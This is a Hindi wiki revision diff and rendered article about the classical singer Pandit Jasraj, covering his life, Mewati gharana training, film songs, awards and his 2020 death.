"पंडित जसराज": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
No edit summary
No edit summary
 
(7 सदस्यों द्वारा किए गए बीच के 29 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
{{पुनरीक्षण}}
{{सूचना बक्सा कलाकार
{{सूचना बक्सा कलाकार
|चित्र=pandit_jasraj.jpg
|चित्र=Pt.jasraj.jpg  
|पूरा नाम=पंडित जसराज  
|पूरा नाम=पंडित जसराज  
|अन्य नाम=
|अन्य नाम=
|जन्म=[[28 जनवरी]] [[1930]]  
|जन्म=[[28 जनवरी]], [[1930]]  
|जन्म भूमि=[[बनारस]]
|जन्म भूमि=पिली मंडोरी, ज़िला हिसार (अब फ़तेहाबाद, [[हरियाणा]])
|अविभावक=पिताजी पंडित मोतीराम जी  
|अभिभावक=पंडित मोतीराम जी  
|पति/पत्नी=मधु जसराज
|पति/पत्नी=मधु जसराज
|संतान=पुत्र सारंग देव और पुत्री दुर्गा  
|संतान=पुत्र सारंग देव और पुत्री दुर्गा  
|कर्म भूमि=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=संगीत कला
|कर्म-क्षेत्र=  
|मृत्यु=
|मृत्यु=[[17 अगस्त]], [[2020]]
|मृत्यु स्थान=
|मृत्यु स्थान=न्यू जर्सी, [[अमेरिका|संयुक्त राज्य अमेरिका]]
|मुख्य रचनाएँ=
|मुख्य रचनाएँ=
|मुख्य फ़िल्में=
|मुख्य फ़िल्में=
|विषय=शास्त्रीय संगीत
|विषय=  
|शिक्षा=
|शिक्षा=
|विद्यालय=
|विद्यालय=
|पुरस्कार-उपाधि= [[पद्म भूषण]]
|पुरस्कार-उपाधि=[[पद्म विभूषण]] ([[2000]]), [[पद्म भूषण]] ([[1990]]) और [[पद्मश्री]] ([[1975]])
|प्रसिद्धि=
|प्रसिद्धि=शास्त्रीय गायक
|विशेष योगदान=
|विशेष योगदान=इनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न [[राग यमन (कल्याण)|रागों]] को एक साथ गाते हैं।
|नागरिकता=भारतीय  
|नागरिकता=भारतीय  
|संबंधित लेख=
|संबंधित लेख=
पंक्ति 27: पंक्ति 26:
|शीर्षक 2=
|शीर्षक 2=
|पाठ 2=
|पाठ 2=
|अन्य जानकारी=
|अन्य जानकारी=पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की थी।
|बाहरी कड़ियाँ=
|बाहरी कड़ियाँ=
|अद्यतन=
|अद्यतन=
}}
}}'''पंडित जसराज''' ([[अंग्रेज़ी]]: ''Pandit Jasraj'', जन्म- [[28 जनवरी]], [[1930]], हिसार; मृत्यु- [[17 अगस्त]], [[2020]], न्यू जर्सी, [[अमेरिका|संयुक्त राज्य अमेरिका]]) [[भारतीय शास्त्रीय संगीत]] के विश्वविख्यात गायक थे। हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस [[कला]] को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। ऐसे ही एक आवाज़ थे ख्यातिप्राप्त पंडित जसराज जी, जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत [[पिता]] से विरासत के रूप में मिले केवल सात स्वरों के साथ क़दम रखा था। उनका संबंध [[मेवाती घराना|मेवाती घराने]] से था। शास्‍त्रीय संगीत के क्षेत्र में उल्‍लेखनीय योगदान के लिए उन्‍हें [[पद्म विभूषण]] ([[2000]]), [[पद्म भूषण]] ([[1990]]) और [[पद्मश्री]] ([[1975]]) जैसे सम्मान से नावाजा गया था।
==जीवन परिचय==
पंडित जसराज का जन्म 28 जनवरी, 1930 को हिसार<ref>पहले पंजाब का एक भाग था, जो कि अब फ़तेहाबाद, हरियाणा का एक भाग है।</ref> के एक ऐसे [[परिवार]] में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं [[मेवाती घराना|मेवाती घराने]] के एक विशिष्ट [[संगीतज्ञ]] थे। पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली, परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें [[हैदराबाद]] और बेरार के आखिरी निज़ाम [[उस्मान अली|उस्मान अली खाँ]] बहादुर के दरबार में राज [[संगीतज्ञ]] घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं. जसराज के अग्रज, संगीत महामहोपाध्याय पं. मणिराम जी ने। इन्हीं की छत्रछाया में पं. जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा [[तबला]] वादन सीखा। [[चित्र:pandit_jasraj.jpg|thumb|left|पं. जसराज]]<br />
<br />
मणिराम जी अपने साथ बालक जसराज को [[तबला वादक]] के रूप में ले जाया करते थे। परंतु उस समय [[सारंगी वादक|सारंगी वादकों]] की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा [[आगरा]] के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं।<ref>{{cite web |url=http://podcast.hindyugm.com/2011/04/blog-post_17.html |title=सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने |accessmonthday=12  मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref>
====आवाज़ की विशेषता====
पं. जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक था। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की '[[ख़याल]]' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की थी। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान रहा है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न [[राग यमन (कल्याण)|रागों]] को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया।<ref>{{cite web |url=http://podcast.hindyugm.com/2011/04/blog-post_17.html |title=सुर संगम में आज - सात सुरों को जसरंगी किया पंडित जसराज ने |accessmonthday=12  मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref>
==अंटार्कटिका में गायन==
[[चित्र:Pandit-Jasraj-1.jpg|thumb|left|200px|पंडित जसराज]]
दिग्गज शास्त्रीय गायक पंडित जसराज ने एक अनूठी उपलब्धि भी हासिल की थी। इस शास्त्रीय गायक ने [[अंटार्कटिका महाद्वीप|अंटार्कटिका]] के दक्षिणी ध्रुव पर अपनी प्रस्तुति दी थी। इसके साथ ही वह '''सातों महाद्वीपों में कार्यक्रम पेश करने वाले पहले भारतीय''' बन गए थे। [[पद्म विभूषण]] से सम्मानित पंडित जसराज ने [[8 जनवरी]] को अंटार्कटिका तट पर 'सी स्प्रिट' नामक क्रूज पर गायन कार्यक्रम पेश किया था। जसराज जी ने इससे पहले वर्ष [[2010]] में पत्नी मधुरा के साथ उत्तरी ध्रुव का दौरा किया था।<ref>{{cite web |url=http://www.jagran.com/news/national-pandit-jasraj-sings-in-antarctica-8799938.html |title=पंडित जसराज ने किया अंटार्कटिका में गायन|accessmonthday=12  मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref>
==फ़िल्म में गायन==
शास्त्रीय गायन के इतर पंडित जसराज ने हिंदी फिल्म इंडस्ट्री में भी गाने गाए थे। उन्होंने पहली बार साल 1966 में आई फिल्म 'लड़की सह्याद्रि' में अपनी आवाज दी थी। डायरेक्टर वी शांताराम की इस फिल्म में उन्होंने 'वंदना करो अर्चना करो' भजन को राग अहीर भैरव में गाया था। उन्होंने दूसरा गाना साल 1975 में आई फिल्म 'बीरबल माय ब्रदर' में गाया था। इसमें उन्होंने और भीमसेन जोशी ने राग मालकौन में जुगलबंदी की थी।<ref>{{cite web |url=https://www.timesnowhindi.com/entertainment/bollywood/article/music-legend-pandit-jasraj-dies-5-most-popular-jasraj-songs-to-remember-his-legacy/308322 |title=पंडित जसराज के वो 5 गाने, जिनकी छाप हमेशा लोगों के दिलों पर रहेगी |accessmonthday=18 अगस्त |accessyear=2020 |last= |first= |authorlink= |format= |publisher=timesnowhindi.com |language=हिन्दी}}</ref><br />
<br />
मशहूर शास्त्रीय गायक पंडित जसराज ने पहली बार सन [[2008]] में रिलीज़ किसी [[हिंदी सिनेमा|हिंदी फ़िल्म]] के एक गीत को अपनी आवाज दी थी। विक्रम भट्ट निर्देशित फ़िल्म ‘1920’ के लिए उन्होंने अपनी जादुई आवाज में एक गाना गाया। पंडित जसराज ने इस फ़िल्म के प्रचार के लिए बनाए गए वीडियो के गीत ‘वादा तुमसे है वादा’ को अपनी दिलकश आवाज दी थी। गाने की शूटिंग [[मुम्बई]] के [[जोगेश्वरी]] स्थित विसाज स्टूडियो में हुई। इस गाने को [[संगीत]] से सजाया अदनान सामी ने और बोल लिखे समीर ने। वीडियो के गानों की कोरियोग्राफी की थी राजू खान ने। ए.एस.ए. प्रोडक्शन एंड एंटरप्राइजेज लिमिटेड के निर्माण में बनाई जा रही फ़िल्म ‘1920’ में नए कलाकार काम कर रहे थे। वर्ष [[1920]] के दौर में सजी यह फ़िल्म एक भारतीय लड़के और एक [[अंग्रेज़]] लड़की की प्रेम कहानी है। ये दोनों लोगों के भारी विरोधों के बावजूद दोनों एक-दूसरे से शादी कर लेते हैं।<ref>{{cite web |url=http://hindi.in.com/hindi/movies-movies-movies-/182251/0 |title=पंडित जसराज ने फिल्‍मी गीत गाया|accessmonthday=12  मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref>


हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस कला को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। आज हम ऐसे ही एक विशिष्ट शास्त्रीय गायक के बारे में जानेंगे जिनकी आवाज़ मानो सुनने वालों को सीधा उस परमेश्वर से जाकर जोड़ती है। एक ऐसी आवाज़ जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत पिता से विरासत के रूप में मिले केवल सात स्वरों के साथ कदम रखा, आज वही सात स्वर उनकी प्रतिभा का इन्द्रधनुष बन विश्व-जगत में उन्हें विख्यात कर चले हैं। जी हाँ ! मैं बात कर रहा हूँ हिन्दुस्तानी शास्त्रीय संगीत शैली के समकालीन दिग्गज, संगीत मार्तांड पंडित जसराज जी की।
इनके अलावा उन्होंने दो भक्ति गीत श्री मधुराष्टकम् और गोविन्द दामोदर माधवेति भी गाए, जिन्हें बेहद पसंद किया गया।
==जीवन के 75वें सोपान पर==
[[चित्र:Pt.jasraj-2.jpg|thumb|250px|पं. जसराज]]
"रानी तेरो चिरजियो गोपाल...." [[28 जनवरी]], [[2005]] की भोर से ही "रसराज" कहे जाने वाले संगीत मार्तण्ड पं. जसराज के चाहने वालों के होठों पर उनके इस भजन के बोल तैर रहे थे। "रसराज" जसराज ने ऋतुराज की दस्तक के साथ ही अपने जीवन के 75 सोपान तय किए थे। 75 दीपों की मालिका के साथ [[दिल्ली]] के कमानी सभागार में पंडित जसराज के ज्योतिर्मय जीवन की कामना की गई। जब पंडित जी के [[हृदय]] की शल्य चिकित्सा हुई थी, तब सबको लगता था कि पता नहीं, उनके मधुर स्वरों की गंगा उसी प्रकार प्रवाहित होती रहेगी या फिर....। पंडित जी के शब्दों में -
<blockquote>"वह तो बिल्कुल वैसा ही था, जैसे किसी सितार के तारों में जंग लग जाए और फिर आप उन तारों को बदल दें या मिट्टी के तेल में रुई डुबोकर साफ कर दें। "बाईपास सर्जरी" से पहले कुछ तकलीफें रहती थीं, उसके बाद सब एकदम निर्मल जल-सा हो गया।"</blockquote>
[[29 जनवरी]] को पंडित जसराज अपने अभिनंदन में आयोजित समारोह के लिए दिल्ली पधारे थे। इस अवसर पर प्रशंसकों से घिरे पंडित जी से उनकी जीवन-यात्रा के अनुभव जानने चाहे तो थोड़ा गंभीर होकर बोले, "सोचता हूं कि आज अगर 35 बरस का होता और 75 बरस के ये अनुभव साथ होते, और उससे आगे 35 बरस की यात्रा करता तो कितना फ़र्क़ होता। संगीत के प्रति यही भावनाएं, श्रद्धा और भक्ति होती तो जीवन कितना धन्य होता।"<ref>{{cite web |url=http://panchjanya.com/arch/2005/2/13/File20.htm |title=उम्र के 75वें वसंत के अवसर पर पं. जसराज कहते हैं- |accessmonthday=पंडित जसराज ने फिल्‍मी गीत गाया |accessmonthday=12  मार्च|accessyear=2013 |last= |first= |authorlink= |format= |publisher= |language=हिंदी }} </ref>
==सम्मान और पुरस्कार==
पंडित जसराज नीचे दिये गये सम्मान और पुरस्कारों से सम्मानित हो चुके हैं।
* [[पद्म विभूषण]] ([[2000]])
* [[पद्म भूषण]] ([[1990]])
* [[पद्म श्री]] ([[1975]])
* [[संगीत नाटक अकादमी पुरस्कार]]
* मास्टर दीनानाथ मंगेशकर अवार्ड
* [[लता मंगेशकर पुरस्कार]]
* महाराष्ट्र गौरव पुरस्कार
==मृत्यु==
पंडित जसराज की मृत्यु [[17 अगस्त]], [[2020]] को दिल का दौरा पड़ने से न्यू जर्सी, [[अमेरिका]] में हुई। [[जनवरी 2020]] में अपना 90वां जन्मदिन मनाने वाले पंडित जसराज ने आखिरी प्रस्तुति [[9 अप्रैल]], 2020 को [[हनुमान जयंती]] पर फेसबुक लाइव के जरिये [[वाराणसी]] के संकटमोचन हनुमान मंदिर के लिए दी थी। [[कोरोना विषाणु|कोरोना वायरस]] महामारी के कारण [[लॉकडाउन]] के बाद से वह न्यूजर्सी में ही थे।<ref>{{cite web |url=https://www.timesnowhindi.com/india/article/padma-vibhushan-pandit-jasraj-passes-away-in-new-jersey-us/308290 |title=शास्त्रीय संगीत के पुरोधा पंडित जसराज का निधन |accessmonthday=18 अगस्त |accessyear=2020 |last= |first= |authorlink= |format= |publisher=timesnowhindi.com |language=हिन्दी}}</ref>


पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं मेवाती घराने के एक विशिष्ट संगीतज्ञ थे। जैसा कि आपने पहले पढ़ा कि पं० जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें हैदराबाद और बेरार के आखिरी निज़ाम उस्मान अलि खाँ बहादुर के दरबार में राज संगीतज्ञ घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा तबला वादन सीखा। मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा आगरा के स्वामि वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडितजी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। वे अन्य कई पुरस्कारों के अतिरिक्त प्रतिष्ठित पद्मभूषण से भी सम्मानित हो चुके हैं।
[[रामनाथ कोविंद|राष्‍ट्रपति रामनाथ कोविंद]] ने पंडित जसराज के निधन पर शोक जताते हुए कहा, 'संगीत दिग्‍गज और अद्वितीय शास्त्रीय गायक पंडित जसराज के निधन से दु:खी हूं। 8 दशकों से भी अधिक समय के करियर में [[पद्म विभूषण]] पंडित जसराज ने जीवंत व भावपूर्ण प्रस्तुतियां दीं। उनके परिवार, दोस्तों और संगीत गुणज्ञ के प्रति मेरी संवेदना।'


पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की 'ख़याल' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामि महाराज के सानिध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है।
[[नरेंद्र मोदी|पीएम मोदी]] ने ट्वीट कर कहा, 'पंडित जसराज जी के निधन से भारतीय सांस्कृतिक क्षेत्र में एक गहरी रिक्‍तता आ गई है। न केवल उनकी प्रस्तुतियां उत्कृष्ट थीं, बल्कि वह कई अन्य गायकों के लिए भी एक असाधारण गुरु साबित हुए। उनके परिवार और दुनिया भर में उनके प्रशंसकों के प्रति मैं संवेदना व्‍यक्त करता हूं। ओम शांति।'


गृहमंत्री [[अमित शाह]] ने पंडित जसराज को श्रद्धांजलि देते हुए ट्वीट किया, 'संगीत मार्तंड पंडित जसराज जी एक असाधारण कलाकार थे, जिन्होंने अपनी जादुई आवाज से भारतीय शास्त्रीय संगीत को समृद्ध किया। उनका निधन व्यक्तिगत क्षति की तरह लगता है। वह अपनी बेमिसाल रचनाओं के माध्यम से हमारे दिलों में हमेशा रहेंगे। उनके परिवार और समर्थकों के प्रति संवेदना। ओम शांति।'


{{लेख प्रगति|आधार=आधार1|प्रारम्भिक= |माध्यमिक= |पूर्णता= |शोध= }}
रक्षामंत्री [[राजनाथ सिंह]] ने अपने ट्वीट में कहा, 'सुप्रसिद्ध शास्त्रीय गायक पंडित जसराज के निधन से मुझे गहरा दुःख हुआ है। [[मेवाती घराना]] से जुड़े पंडितजी का सम्पूर्ण जीवन सुर साधना में बीता। सुरों के संसार को उन्होंने अपनी कला से नए शिखर दिए। उनके जाने से संगीत का बड़ा स्वर मौन हो गया है। ईश्वर उन्हें अपने श्रीचरणों में स्थान दें।'
{{संदर्भ ग्रंथ}}
 
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>
==बाहरी कड़ियाँ==
==बाहरी कड़ियाँ==
 
*[http://www.panditjasraj.com/ आधिकारिक वेबसाइट]
*[http://www.panditjasrajinstitute.org/ पंडित जसराज इंस्टीटयूट]
*[http://www.panditjasrajinstitute.ca/ Pandit Jasraj Institute of Music (PJIM)]
*[http://pjsomfvancouver.webs.com/ Pandit Jasraj School of Music Foundation Vancouver]
*[http://gaana.com/artist/pandit-jasraj-1349 पंडित जसराज]
*[http://www.prabhatkhabar.com/node/258325 शांतिनिकेतन में पं जसराज का गायन]
==संबंधित लेख==
==संबंधित लेख==
 
{{शास्त्रीय गायक कलाकार}}{{पद्म विभूषण}}{{संगीत नाटक अकादमी पुरस्कार}}
 
[[Category:पद्म विभूषण]][[Category:पद्म भूषण]][[Category:पद्म श्री]][[Category:शास्त्रीय_गायक_कलाकार]][[Category:संगीत कोश]][[Category:चरित कोश]][[Category:कला कोश]][[Category:संगीत नाटक अकादमी पुरस्कार]]
 
__INDEX__
__INDEX__
[[Category:पद्म_विभूषण]]

06:58, 18 अगस्त 2020 के समय का अवतरण

पंडित जसराज
पूरा नाम पंडित जसराज
जन्म 28 जनवरी, 1930
जन्म भूमि पिली मंडोरी, ज़िला हिसार (अब फ़तेहाबाद, हरियाणा)
मृत्यु 17 अगस्त, 2020
मृत्यु स्थान न्यू जर्सी, संयुक्त राज्य अमेरिका
अभिभावक पंडित मोतीराम जी
पति/पत्नी मधु जसराज
संतान पुत्र सारंग देव और पुत्री दुर्गा
कर्म भूमि भारत
पुरस्कार-उपाधि पद्म विभूषण (2000), पद्म भूषण (1990) और पद्मश्री (1975)
प्रसिद्धि शास्त्रीय गायक
विशेष योगदान इनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं।
नागरिकता भारतीय
अन्य जानकारी पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की थी।

पंडित जसराज (अंग्रेज़ी: Pandit Jasraj, जन्म- 28 जनवरी, 1930, हिसार; मृत्यु- 17 अगस्त, 2020, न्यू जर्सी, संयुक्त राज्य अमेरिका) भारतीय शास्त्रीय संगीत के विश्वविख्यात गायक थे। हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस कला को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। ऐसे ही एक आवाज़ थे ख्यातिप्राप्त पंडित जसराज जी, जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत पिता से विरासत के रूप में मिले केवल सात स्वरों के साथ क़दम रखा था। उनका संबंध मेवाती घराने से था। शास्‍त्रीय संगीत के क्षेत्र में उल्‍लेखनीय योगदान के लिए उन्‍हें पद्म विभूषण (2000), पद्म भूषण (1990) और पद्मश्री (1975) जैसे सम्मान से नावाजा गया था।

जीवन परिचय

पंडित जसराज का जन्म 28 जनवरी, 1930 को हिसार[1] के एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं मेवाती घराने के एक विशिष्ट संगीतज्ञ थे। पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली, परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें हैदराबाद और बेरार के आखिरी निज़ाम उस्मान अली खाँ बहादुर के दरबार में राज संगीतज्ञ घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं. जसराज के अग्रज, संगीत महामहोपाध्याय पं. मणिराम जी ने। इन्हीं की छत्रछाया में पं. जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा तबला वादन सीखा।

पं. जसराज



मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा आगरा के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं।[2]

आवाज़ की विशेषता

पं. जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक था। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की 'ख़याल' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सान्निध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की थी। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान रहा है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया।[3]

अंटार्कटिका में गायन

पंडित जसराज

दिग्गज शास्त्रीय गायक पंडित जसराज ने एक अनूठी उपलब्धि भी हासिल की थी। इस शास्त्रीय गायक ने अंटार्कटिका के दक्षिणी ध्रुव पर अपनी प्रस्तुति दी थी। इसके साथ ही वह सातों महाद्वीपों में कार्यक्रम पेश करने वाले पहले भारतीय बन गए थे। पद्म विभूषण से सम्मानित पंडित जसराज ने 8 जनवरी को अंटार्कटिका तट पर 'सी स्प्रिट' नामक क्रूज पर गायन कार्यक्रम पेश किया था। जसराज जी ने इससे पहले वर्ष 2010 में पत्नी मधुरा के साथ उत्तरी ध्रुव का दौरा किया था।[4]

फ़िल्म में गायन

शास्त्रीय गायन के इतर पंडित जसराज ने हिंदी फिल्म इंडस्ट्री में भी गाने गाए थे। उन्होंने पहली बार साल 1966 में आई फिल्म 'लड़की सह्याद्रि' में अपनी आवाज दी थी। डायरेक्टर वी शांताराम की इस फिल्म में उन्होंने 'वंदना करो अर्चना करो' भजन को राग अहीर भैरव में गाया था। उन्होंने दूसरा गाना साल 1975 में आई फिल्म 'बीरबल माय ब्रदर' में गाया था। इसमें उन्होंने और भीमसेन जोशी ने राग मालकौन में जुगलबंदी की थी।[5]

मशहूर शास्त्रीय गायक पंडित जसराज ने पहली बार सन 2008 में रिलीज़ किसी हिंदी फ़िल्म के एक गीत को अपनी आवाज दी थी। विक्रम भट्ट निर्देशित फ़िल्म ‘1920’ के लिए उन्होंने अपनी जादुई आवाज में एक गाना गाया। पंडित जसराज ने इस फ़िल्म के प्रचार के लिए बनाए गए वीडियो के गीत ‘वादा तुमसे है वादा’ को अपनी दिलकश आवाज दी थी। गाने की शूटिंग मुम्बई के जोगेश्वरी स्थित विसाज स्टूडियो में हुई। इस गाने को संगीत से सजाया अदनान सामी ने और बोल लिखे समीर ने। वीडियो के गानों की कोरियोग्राफी की थी राजू खान ने। ए.एस.ए. प्रोडक्शन एंड एंटरप्राइजेज लिमिटेड के निर्माण में बनाई जा रही फ़िल्म ‘1920’ में नए कलाकार काम कर रहे थे। वर्ष 1920 के दौर में सजी यह फ़िल्म एक भारतीय लड़के और एक अंग्रेज़ लड़की की प्रेम कहानी है। ये दोनों लोगों के भारी विरोधों के बावजूद दोनों एक-दूसरे से शादी कर लेते हैं।[6]

इनके अलावा उन्होंने दो भक्ति गीत श्री मधुराष्टकम् और गोविन्द दामोदर माधवेति भी गाए, जिन्हें बेहद पसंद किया गया।

जीवन के 75वें सोपान पर

पं. जसराज

"रानी तेरो चिरजियो गोपाल...." 28 जनवरी, 2005 की भोर से ही "रसराज" कहे जाने वाले संगीत मार्तण्ड पं. जसराज के चाहने वालों के होठों पर उनके इस भजन के बोल तैर रहे थे। "रसराज" जसराज ने ऋतुराज की दस्तक के साथ ही अपने जीवन के 75 सोपान तय किए थे। 75 दीपों की मालिका के साथ दिल्ली के कमानी सभागार में पंडित जसराज के ज्योतिर्मय जीवन की कामना की गई। जब पंडित जी के हृदय की शल्य चिकित्सा हुई थी, तब सबको लगता था कि पता नहीं, उनके मधुर स्वरों की गंगा उसी प्रकार प्रवाहित होती रहेगी या फिर....। पंडित जी के शब्दों में -

"वह तो बिल्कुल वैसा ही था, जैसे किसी सितार के तारों में जंग लग जाए और फिर आप उन तारों को बदल दें या मिट्टी के तेल में रुई डुबोकर साफ कर दें। "बाईपास सर्जरी" से पहले कुछ तकलीफें रहती थीं, उसके बाद सब एकदम निर्मल जल-सा हो गया।"

